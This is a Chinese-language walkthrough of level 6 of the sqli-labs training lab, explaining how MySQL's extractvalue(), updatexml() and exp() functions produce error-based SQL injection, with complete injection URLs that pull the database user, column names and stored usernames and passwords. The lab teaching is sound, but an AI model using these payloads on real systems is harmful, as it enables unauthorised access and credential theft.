sqli-labs Basic Challenges Less6

延续上一篇文章讲的报错注入,这里再介绍三种其他形式的报错注入。分别是extractvalue()报错注入、updatexml()报错注入以及exp()报错注入。在此之前我们需要对这几个函数有一个大致的了解。

1、extractvalue()函数

Mysql 5.1.5版本中添加了extractvalue()函数来对xml文档进行查询。

函数的语法如下:

extractvalue(XML_document, XPath_string);

第一个参数指定的是xml文档的名字(string格式),第二个参数则是一个Xpath格式的字符串。

函数的目的就是从目标XML文档中找到并返回包含所查询值的字符串。

这里我先建立一个包含xml文档的数据表

create table x(doc varchar(150) );

sqli-labs Basic Challenges Less6

然后再插入数据

insert into x values('

    <book>

    <title>A guide to the SQL standard</title>

    <author>

    <initial>CJ</initial>

    <surname>Date</surname>

    </author>

    </book>

');

sqli-labs Basic Challenges Less6

再插入第二条

insert into x values('

    <book>

    <title>SQL:1999</title>

    <author>

    <initial>J</initial>

    <surname>Melton</surname>

    </author>

    </book>

     ');

sqli-labs Basic Challenges Less6

建立之后,来试试extractvalue()函数的具体功能

sqli-labs Basic Challenges Less6

2、updatexml()函数

  同extractvalue()函数一样,该函数也是从Mysql 5.1.5版本中被添加。主要是用来对xml文档中的内容进行替换。

函数语法如下:

updatexml (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc 

第二个参数:XPath_string (Xpath格式的字符串) ,指定查找的对象。 

第三个参数:new_value,String格式,替换查找到的符合条件的数据 

函数的主要作用:改变文档中符合条件的节点的值

这里用刚才建立的表x来做演示。

update x set doc=updatexml(doc,'/book/author/initial','ceshi');

sqli-labs Basic Challenges Less6

 更改完数据之后看看效果

sqli-labs Basic Challenges Less6

可以看到确实是对内容进行替换更改了。

这两个函数介绍到这里大家也都明白了它们大概是做什么用的了。但是我们讲的是报错注入啊,它们跟报错注入有什么关系呐?

对于extractvalue()函数来说,第二个参数是xpath格式的字符串,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容了。

比如:

sqli-labs Basic Challenges Less6

这里第二个参数查询出来结果必然是带~符号的,不符合xpath格式。所以报错并且返回了我们想要查询的内容。

而updatexml()函数报错跟这个原理是一样的,也是第二个参数不符合xpath格式就会报错,比如:

sqli-labs Basic Challenges Less6

3、exp()函数

exp()函数就是计算以e为底的对数函数。但是当传递一个大于709的数时,函数就会引起一个溢出错误。

sqli-labs Basic Challenges Less6

我们需要知道一点那就是函数执行成功后是会返回0的,而对0按位取反就是一个比709大得多的数

sqli-labs Basic Challenges Less6

这样的话报错不就来了吗?只要将我们想要查询的函数放到exp()函数中并且成功执行返回0并取反,就可以得到一个大于709的数,最后就触发了exp()的溢出报错了。

sqli-labs Basic Challenges Less6

至此加上之前的floor()和rand()函数结合的报错注入,我们一共学习到了四种报错注入的方法。接下来就在第六关中使用上述的三种方法进行报错注入吧。

 

Less  6  GET - Double Injection - Double Quotes - String

可以看到跟第五关的区别就是包含参数的是双引号了。

打开第六关,输入参数访问

sqli-labs Basic Challenges Less6

输入一个双引号测试一下

sqli-labs Basic Challenges Less6

发现报错如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1

主要错误信息就是"1"" LIMIT 0,1

看来确实如同题目写的那样是双引号包含参数的。接下来就是报错注入了

1、extractvalue()

先查看用户名

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"   and    extractvalue('ceshi',concat('~',user(),'~')) --+--+

sqli-labs Basic Challenges Less6

再查询字段名

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"   and    extractvalue('ceshi',concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'~')) --+

sqli-labs Basic Challenges Less6

最后就是查询字段的内容了

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"   and    extractvalue('ceshi',concat('~',(select group_concat(username,password) from security.users),'~')) --+

sqli-labs Basic Challenges Less6

这个时候可以看到虽然可以返回字段内容,但是返回的内容是不全的。这是因为extractvalue()能查询字符串的最大长度为32。所以我们可以用limit来遍历查看内容。

2、updatexml()

这里只需要将上面的extractvalue函数名替换掉,再增加一个字符串格式的参数在后面就可以了,比如

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"   and    updatexml('ceshi',concat('~',(select group_concat(username,password) from security.users),'~'),'ceshi') --+

sqli-labs Basic Challenges Less6

这里可以看到的是updatexml()函数跟extractvalue()函数有一样的限制,那就是能查询的字符串最大限度为32位。

 

3、exp()

主要需要注意的是:在mysql>5.5.53的版本中,exp()报错不会返回结果。此处我本机mysql数据库版本是5.7.26,没有成功。换成了5.5.29才成功报错返回查询结果的。

sqli-labs Basic Challenges Less6

sqli-labs Basic Challenges Less6

接下来剩下其他的步骤,直接查询字段内容

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"      and exp(~(select * from (select group_concat(username,password) from security.users)x))  --+

sqli-labs Basic Challenges Less6

注意此处的语句构造,我们通过子查询与按位取反,造成一个DOUBLE overflow error,并借由此注出数据。

其实报错注入不仅仅只有这四种,还有一些其他比如几何函数之类的,但是都只是适用于较低版本的mysql了,这里就不一一介绍了,以后有机会可能会单独写一篇有关报错注入的文章。